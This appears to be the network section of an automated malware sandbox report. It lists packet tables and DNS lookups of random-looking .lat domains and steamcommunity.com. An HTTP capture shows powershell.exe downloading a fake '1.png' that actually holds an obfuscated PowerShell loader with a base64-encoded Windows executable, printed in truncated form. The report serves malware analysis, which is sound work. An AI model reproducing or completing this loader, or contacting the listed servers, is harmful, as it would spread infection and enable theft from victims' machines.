Jan 15, 2025 10:18:40.061357021 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.061408043 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.061471939 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.061599016 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.061707020 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.061742067 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.061861038 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.061896086 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.061944962 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.062058926 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.062175035 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.062264919 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.062335968 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.062421083 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.062482119 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.062539101 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.062686920 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.062761068 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.062808037 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.062932968 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.062954903 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.062995911 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.063105106 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.063110113 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.063230038 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.063251972 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.063366890 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.063507080 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.063585043 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.063591957 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.063744068 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.063761950 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.063838005 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.063934088 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.064048052 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.064126015 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.064160109 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.064281940 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.064291000 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.064450979 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.064465046 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.064539909 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.064661980 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.064771891 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.064800978 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.064917088 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.064956903 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.064986944 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.065099955 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.065145969 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.065260887 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.065336943 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.065454960 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.065481901 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.065598965 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.065634966 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.065684080 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.065800905 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.065918922 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.065994978 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.066036940 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.066142082 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.066153049 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.066308975 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.066313982 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.066467047 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.066545010 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.066654921 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.066660881 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.066817045 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.066824913 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.066864014 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.066972017 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.066997051 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.067110062 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.067205906 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.067334890 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.067362070 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.067504883 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.067508936 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.067605972 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.067698002 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.067783117 CET	80	49772	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:40.067846060 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.068015099 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.533811092 CET	49771	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:40.663832903 CET	49772	80	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:41.663908005 CET	49773	443	192.168.11.20	23.47.27.74
Jan 15, 2025 10:18:41.663937092 CET	443	49773	23.47.27.74	192.168.11.20
Jan 15, 2025 10:18:41.664182901 CET	49773	443	192.168.11.20	23.47.27.74
Jan 15, 2025 10:18:41.666512966 CET	49773	443	192.168.11.20	23.47.27.74
Jan 15, 2025 10:18:41.666532993 CET	443	49773	23.47.27.74	192.168.11.20
Jan 15, 2025 10:18:41.877952099 CET	443	49773	23.47.27.74	192.168.11.20
Jan 15, 2025 10:18:41.878148079 CET	49773	443	192.168.11.20	23.47.27.74
Jan 15, 2025 10:18:41.880167007 CET	49773	443	192.168.11.20	23.47.27.74
Jan 15, 2025 10:18:41.880182981 CET	443	49773	23.47.27.74	192.168.11.20
Jan 15, 2025 10:18:41.880521059 CET	443	49773	23.47.27.74	192.168.11.20
Jan 15, 2025 10:18:41.919545889 CET	49773	443	192.168.11.20	23.47.27.74
Jan 15, 2025 10:18:41.962213039 CET	443	49773	23.47.27.74	192.168.11.20
Jan 15, 2025 10:18:42.232274055 CET	443	49773	23.47.27.74	192.168.11.20
Jan 15, 2025 10:18:42.232315063 CET	443	49773	23.47.27.74	192.168.11.20
Jan 15, 2025 10:18:42.232435942 CET	443	49773	23.47.27.74	192.168.11.20
Jan 15, 2025 10:18:42.232445002 CET	443	49773	23.47.27.74	192.168.11.20
Jan 15, 2025 10:18:42.232510090 CET	49773	443	192.168.11.20	23.47.27.74
Jan 15, 2025 10:18:42.232531071 CET	443	49773	23.47.27.74	192.168.11.20
Jan 15, 2025 10:18:42.232536077 CET	443	49773	23.47.27.74	192.168.11.20
Jan 15, 2025 10:18:42.232788086 CET	49773	443	192.168.11.20	23.47.27.74
Jan 15, 2025 10:18:42.232959986 CET	49773	443	192.168.11.20	23.47.27.74
Jan 15, 2025 10:18:42.334959984 CET	443	49773	23.47.27.74	192.168.11.20
Jan 15, 2025 10:18:42.335170031 CET	49773	443	192.168.11.20	23.47.27.74
Jan 15, 2025 10:18:42.335191965 CET	443	49773	23.47.27.74	192.168.11.20
Jan 15, 2025 10:18:42.335447073 CET	49773	443	192.168.11.20	23.47.27.74
Jan 15, 2025 10:18:42.335464001 CET	443	49773	23.47.27.74	192.168.11.20
Jan 15, 2025 10:18:42.335656881 CET	49773	443	192.168.11.20	23.47.27.74
Jan 15, 2025 10:18:42.339735031 CET	443	49773	23.47.27.74	192.168.11.20
Jan 15, 2025 10:18:42.339796066 CET	443	49773	23.47.27.74	192.168.11.20
Jan 15, 2025 10:18:42.340040922 CET	49773	443	192.168.11.20	23.47.27.74
Jan 15, 2025 10:18:42.340754986 CET	49773	443	192.168.11.20	23.47.27.74
Jan 15, 2025 10:18:42.340755939 CET	49773	443	192.168.11.20	23.47.27.74
Jan 15, 2025 10:18:42.340783119 CET	443	49773	23.47.27.74	192.168.11.20
Jan 15, 2025 10:18:42.340794086 CET	443	49773	23.47.27.74	192.168.11.20
Jan 15, 2025 10:18:45.920447111 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:46.140657902 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:46.140850067 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:46.141911030 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:46.362298012 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:46.362524033 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:46.606004000 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:46.606021881 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:46.606304884 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:46.610614061 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:46.835545063 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:46.884860039 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:48.434303045 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:48.707058907 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:18:48.707245111 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:18:48.972585917 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:19:11.911561012 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:19:12.177746058 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:19:12.177978039 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:19:12.399599075 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:19:12.442073107 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:19:12.662477016 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:19:12.667254925 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:19:12.927450895 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:19:12.927673101 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:19:13.193015099 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:19:21.364667892 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:19:21.408873081 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:19:21.629173040 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:19:21.674205065 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:19:36.921205997 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:19:37.188024998 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:19:37.188273907 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:19:37.409396887 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:19:37.451951027 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:19:37.671936035 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:19:37.673108101 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:19:37.938066959 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:19:37.938788891 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:19:38.203334093 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:19:56.373193026 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:19:56.416771889 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:19:56.637195110 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:19:56.682276011 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:20:01.925815105 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:20:02.191167116 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:20:02.191380024 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:20:02.412560940 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:20:02.462084055 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:20:02.682322025 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:20:02.683372974 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:20:02.956640959 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:20:02.956912041 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:20:03.222174883 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:20:26.937597036 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:20:27.202867031 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:20:27.203142881 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:20:27.423934937 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:20:27.472209930 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:20:27.692327976 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:20:27.694003105 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:20:27.968674898 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:20:27.968904018 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:20:28.233902931 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:20:31.373975039 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:20:31.424470901 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:20:31.644418001 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:20:31.690036058 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:20:44.315712929 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:20:44.582079887 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:20:44.582212925 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:20:44.803206921 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:20:44.843487978 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:20:45.063782930 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:20:45.064588070 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:20:45.335680962 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:20:45.335911989 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:20:45.601248980 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:21:06.385688066 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:21:06.432471991 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:21:06.652693987 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:21:06.698012114 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:21:09.338396072 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:21:09.611700058 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:21:09.611896992 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:21:09.833116055 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:21:09.884821892 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:21:10.105269909 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:21:10.105950117 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:21:10.377393961 CET	56001	49774	92.255.57.112	192.168.11.20
Jan 15, 2025 10:21:10.377598047 CET	49774	56001	192.168.11.20	92.255.57.112
Jan 15, 2025 10:21:10.642704964 CET	56001	49774	92.255.57.112	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 10:18:35.878916025 CET	55598	53	192.168.11.20	1.1.1.1
Jan 15, 2025 10:18:36.054651022 CET	53	55598	1.1.1.1	192.168.11.20
Jan 15, 2025 10:18:40.609977007 CET	64236	53	192.168.11.20	1.1.1.1
Jan 15, 2025 10:18:40.712085009 CET	53	64236	1.1.1.1	192.168.11.20
Jan 15, 2025 10:18:40.713937998 CET	50147	53	192.168.11.20	1.1.1.1
Jan 15, 2025 10:18:40.819818974 CET	53	50147	1.1.1.1	192.168.11.20
Jan 15, 2025 10:18:40.821662903 CET	49219	53	192.168.11.20	1.1.1.1
Jan 15, 2025 10:18:40.925918102 CET	53	49219	1.1.1.1	192.168.11.20
Jan 15, 2025 10:18:40.927416086 CET	53799	53	192.168.11.20	1.1.1.1
Jan 15, 2025 10:18:41.033083916 CET	53	53799	1.1.1.1	192.168.11.20
Jan 15, 2025 10:18:41.034271002 CET	62757	53	192.168.11.20	1.1.1.1
Jan 15, 2025 10:18:41.139131069 CET	53	62757	1.1.1.1	192.168.11.20
Jan 15, 2025 10:18:41.140322924 CET	50841	53	192.168.11.20	1.1.1.1
Jan 15, 2025 10:18:41.242805004 CET	53	50841	1.1.1.1	192.168.11.20
Jan 15, 2025 10:18:41.243845940 CET	59050	53	192.168.11.20	1.1.1.1
Jan 15, 2025 10:18:41.347691059 CET	53	59050	1.1.1.1	192.168.11.20
Jan 15, 2025 10:18:41.349145889 CET	63616	53	192.168.11.20	1.1.1.1
Jan 15, 2025 10:18:41.452049971 CET	53	63616	1.1.1.1	192.168.11.20
Jan 15, 2025 10:18:41.453264952 CET	50505	53	192.168.11.20	1.1.1.1
Jan 15, 2025 10:18:41.558430910 CET	53	50505	1.1.1.1	192.168.11.20
Jan 15, 2025 10:18:41.559501886 CET	49212	53	192.168.11.20	1.1.1.1
Jan 15, 2025 10:18:41.660060883 CET	53	49212	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 10:18:35.878916025 CET	192.168.11.20	1.1.1.1	0xea04	Standard query (0)	view-reserve.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:40.609977007 CET	192.168.11.20	1.1.1.1	0xf3d0	Standard query (0)	curtainykeo.lat	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:40.713937998 CET	192.168.11.20	1.1.1.1	0x2fad	Standard query (0)	bloodyswif.lat	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:40.821662903 CET	192.168.11.20	1.1.1.1	0xf9ef	Standard query (0)	washyceehsu.lat	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:40.927416086 CET	192.168.11.20	1.1.1.1	0x956d	Standard query (0)	leggelatez.lat	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:41.034271002 CET	192.168.11.20	1.1.1.1	0x8fa9	Standard query (0)	miniatureyu.lat	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:41.140322924 CET	192.168.11.20	1.1.1.1	0xc990	Standard query (0)	kickykiduz.lat	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:41.243845940 CET	192.168.11.20	1.1.1.1	0xcefb	Standard query (0)	savorraiykj.lat	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:41.349145889 CET	192.168.11.20	1.1.1.1	0xea8d	Standard query (0)	shoefeatthe.lat	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:41.453264952 CET	192.168.11.20	1.1.1.1	0x63c8	Standard query (0)	finickypwk.lat	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:41.559501886 CET	192.168.11.20	1.1.1.1	0xc694	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 10:18:36.054651022 CET	1.1.1.1	192.168.11.20	0xea04	No error (0)	view-reserve.com		92.255.57.120	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:40.712085009 CET	1.1.1.1	192.168.11.20	0xf3d0	Name error (3)	curtainykeo.lat	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:40.819818974 CET	1.1.1.1	192.168.11.20	0x2fad	Name error (3)	bloodyswif.lat	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:40.925918102 CET	1.1.1.1	192.168.11.20	0xf9ef	Name error (3)	washyceehsu.lat	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:41.033083916 CET	1.1.1.1	192.168.11.20	0x956d	Name error (3)	leggelatez.lat	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:41.139131069 CET	1.1.1.1	192.168.11.20	0x8fa9	Name error (3)	miniatureyu.lat	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:41.242805004 CET	1.1.1.1	192.168.11.20	0xc990	Name error (3)	kickykiduz.lat	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:41.347691059 CET	1.1.1.1	192.168.11.20	0xcefb	Name error (3)	savorraiykj.lat	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:41.452049971 CET	1.1.1.1	192.168.11.20	0xea8d	Name error (3)	shoefeatthe.lat	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:41.558430910 CET	1.1.1.1	192.168.11.20	0x63c8	Name error (3)	finickypwk.lat	none	none	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:18:41.660060883 CET	1.1.1.1	192.168.11.20	0xc694	No error (0)	steamcommunity.com		23.47.27.74	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

view-reserve.com

steamcommunity.com

92.255.57.112

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49770	92.255.57.112	80	8332	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 10:18:38.535353899 CET	70	OUT	GET /1/1.png HTTP/1.1 Host: 92.255.57.112 Connection: Keep-Alive
Jan 15, 2025 10:18:38.760771036 CET	1289	IN	HTTP/1.1 200 OK Content-Type: image/png Last-Modified: Tue, 14 Jan 2025 20:24:05 GMT Accept-Ranges: bytes ETag: "c7d94542c266db1:0" Server: Microsoft-IIS/10.0 Date: Wed, 15 Jan 2025 09:18:38 GMT Content-Length: 122758 Data Raw: 0d 0a 20 24 74 30 3d 27 49 51 49 51 51 49 49 51 49 51 51 45 58 27 2e 72 65 70 6c 61 63 65 28 27 49 51 49 51 51 27 2c 27 27 29 3b 73 61 6c 20 47 47 20 24 74 30 3b 0d 0a 0d 0a 24 4f 45 3d 22 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 4b 63 4f 66 57 63 41 41 41 41 41 41 41 41 41 41 4f 41 41 4c 69 45 4c 41 54 41 41 41 44 77 42 41 41 42 41 41 51 41 41 41 41 41 41 69 6c 73 42 41 41 41 67 41 41 41 41 59 41 45 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 41 42 41 41 41 41 41 41 41 41 41 41 45 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: $t0='IQIQQIIQIQQEX'.replace('IQIQQ','');sal GG $t0;$OE="qQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAKcOfWcAAAAAAAAAAOAALiELATAAADwBAABAAQAAAAAAilsBAAAgAAAAYAEAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACgAQAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADBbAQBXAAAAAIABAFQDAAAAAAAAAAAAAAAAAAAAAAAAAGABAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAkDsBAAAgAAAAPAEAAAIAAAAAAAAAAAAAAAAAACAAAGAucmVsb2MAAAwAAAAAYAEAAAIAAAA+AQAAAAAAAAAAAAAAAABAAABCLnJzcmMAAABUAwAAAIABAAAEAAAAQAEAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAABsWwEAAAAAAEgAAAACAAUABKEAACy6AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwAwBUAAAAAQAAESjuAAAGIHCo0kMgq9e2e2ElChpeRQQAAADc////FgAAACoAAAACAAAAKygouQIABgYgtu0jplogwH05lmEryyihAgAGBiBkOmUxWiDFoMEzYSu3KhMwCgAMAQAAAgAAESBihoadKAEAACsKKGw [TRUNCATED]
Jan 15, 2025 10:18:38.760791063 CET	1289	IN	Data Raw: 32 41 41 41 42 71 49 52 42 43 69 4b 41 51 41 47 44 41 67 73 66 69 43 62 68 62 2b 38 49 42 33 63 6b 65 42 68 4a 52 4d 47 47 31 35 46 42 51 41 41 41 4e 66 2f 2f 2f 38 46 41 41 41 41 6f 41 41 41 41 46 55 41 41 41 43 44 41 41 41 41 4f 4a 73 41 41 41 Data Ascii: 2AAABqIRBCiKAQAGDAgsfiCbhb+8IB3ckeBhJRMGG15FBQAAANf///8FAAAAoAAAAFUAAACDAAAAOJsAAAAgvUw9NCgDAAArCBQXKP8AAAYTBREFFgYgr2/09igCAAArKAECAAaiEQUoeAIABiixAgAGLQggUC2DfyUrBiA8vCFyJSYRBiBRoAwSWmErhxT+BgMAAAZzdgAACij+AAAGDQkXKM0CAAYJfgwBAAQocgEABiAJzKC
